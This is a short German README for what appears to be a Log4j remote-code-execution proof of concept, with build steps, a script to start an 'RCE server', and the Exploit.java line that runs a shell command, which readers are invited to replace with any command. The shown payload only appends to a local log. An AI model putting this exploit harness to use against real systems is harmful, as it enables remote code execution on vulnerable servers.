log4j-rce-test

Erstellen

./build.sh

Starte log4j RCE Server

./start-log4j-rce-server.sh

Test

• Führen Sie java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j aus
  Überprüfen Sie, ob Sie Logs in hack.log aus dem aktuellen Ordner erhalten.
• Sie können diese Zeile ändern
  String[] cmds = { "sh", "-c", "echo 'Exploit at '" + getDateString() + " >> ./hack.log" };
  in der Datei apache-log4j-poc/src/main/java/Exploit.java auf das, was Sie möchten, dann neu erstellen und Test ausführen.
• Schauen Sie sich Issue #1 an, wenn Sie einen Maven-Kompilierungsfehler sehen.

Danksagungen